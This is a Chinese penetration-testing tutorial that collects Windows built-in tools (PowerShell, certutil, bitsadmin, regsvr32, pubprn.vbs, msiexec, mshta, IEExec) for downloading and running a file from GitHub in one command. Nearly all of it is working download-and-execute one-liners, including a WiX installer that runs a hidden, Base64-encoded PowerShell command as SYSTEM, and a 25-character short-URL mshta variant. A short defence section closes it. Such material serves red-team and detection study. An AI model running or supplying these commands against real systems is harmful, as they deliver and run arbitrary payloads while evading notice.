渗透技巧——从Github下载文件的多种方法
字数 1426 2025-08-29 08:31:53
从Github下载文件的多种渗透技巧
0x00 前言
本文探讨在Windows环境下,通过cmd命令行从Github下载文件并执行的各种方法,目标是找出实现这一功能的最短代码。
0x01 方法汇总
1. PowerShell方法
代码示例:
(new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe'
特点:
- 直接使用.NET的WebClient类下载文件
- 支持HTTPS协议
- 可一行命令完成下载和执行
2. Certutil方法
代码示例:
certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe&&c:\download\a.exe
特点:
- 使用Windows内置的certutil工具
- 支持HTTPS协议
- 命令较短,适合快速执行
3. Bitsadmin方法
代码示例:
bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe && c:\download\a.exe
特点:
- 使用Windows后台智能传输服务(BITS)
- 下载速度较慢
- 注意:必须使用http而非https
4. Regsvr32方法
方法一:通过JScript调用PowerShell
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll
方法二:通过VBScript直接下载执行
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec2.sct scrobj.dll
VBScript实现代码:
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "c:\download\a.exe"
ado.Close
特点:
- 使用SCT脚本文件作为载体
- 支持多种脚本语言实现(JScript/VBScript)
- 需要预先准备SCT文件
5. Pubprn.vbs方法
代码示例:
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec3.sct
特点:
- 利用系统自带的pubprn.vbs脚本
- 需要准备特定的SCT文件
- 执行远程服务器上的脚本
6. Msiexec方法
实现步骤:
- 将PowerShell命令Base64编码:
$fileContent = "(new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent);
$encoded = [System.Convert]::ToBase64String($bytes);
$encoded
- 创建WIX安装包文件(msigen.wix):
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111"
Name="Example Product Name" Version="0.0.1"
Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" />
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">powershell -WindowStyle Hidden -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABsAG8AYQBkAFwAYQAuAGUAeABlACcA</Property>
<CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
<CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
invalid vbs to fail install
</CustomAction>
<InstallExecuteSequence>
<Custom Action="SystemShell" After="InstallInitialize"></Custom>
<Custom Action="FailInstall" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
- 编译并执行:
candle.exe msigen.wix
light.exe msigen.wixobj
msiexec /q /i https://github.com/3gstudent/test/raw/master/test.msi
特点:
- 使用Windows安装程序执行代码
- 需要预先准备MSI文件
- 执行后需要手动结束msiexec.exe进程
7. Mshta方法
标准方法:
mshta https://raw.githubusercontent.com/3gstudent/test/master/calc.hta
注意:Github返回的text/plain头会导致此方法失败
变通方法:
- 将HTA文件托管在Github Pages(返回html头)
- 执行:
mshta https://3gstudent.github.io/test/downloadexec.hta
IE安全设置调整:
- IE浏览器 → Internet选项 → 安全
- 自定义级别 → "通过域访问数据源" → 启用
优化方法:
使用PowerShell实现的HTA脚本可绕过安全限制:
mshta https://3gstudent.github.io/test/downloadexec2.hta
最短实现:
结合短网址服务,最短25字符:
mshta http://t.cn/RYUQyF8
0x02 补充方法
IEExec方法(需管理员权限)
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727\
caspol -s off
IEExec http://github.com/3gstudent/test/raw/master/putty.exe
限制:
- 需要特定格式的exe文件
- Win7下可能失败
0x03 方法比较
| 方法 | 字符数 | 特点 |
|---|---|---|
| PowerShell | 较长 | 功能强大,支持HTTPS |
| Certutil | 中等 | 系统自带,支持HTTPS |
| Bitsadmin | 中等 | 速度慢,仅HTTP |
| Regsvr32 | 中等 | 需要SCT文件 |
| Pubprn.vbs | 较长 | 系统自带脚本 |
| Msiexec | 34(短网址) | 需要MSI文件 |
| Mshta | 25(短网址) | 最短实现 |
0x04 防御建议
- 监控异常进程创建(certutil、bitsadmin等工具的非常规使用)
- 限制PowerShell执行策略
- 禁用或监控regsvr32、mshta等脚本宿主的异常使用
- 监控MSI文件的异常安装行为
- 保持IE安全设置处于适当级别
0x05 总结
从Github下载并执行文件的最短实现为mshta方法,仅需25个字符。各种方法各有优缺点,在实际渗透测试中可根据目标环境选择最适合的方法。防御方应重点关注这些常用系统工具的异常使用行为。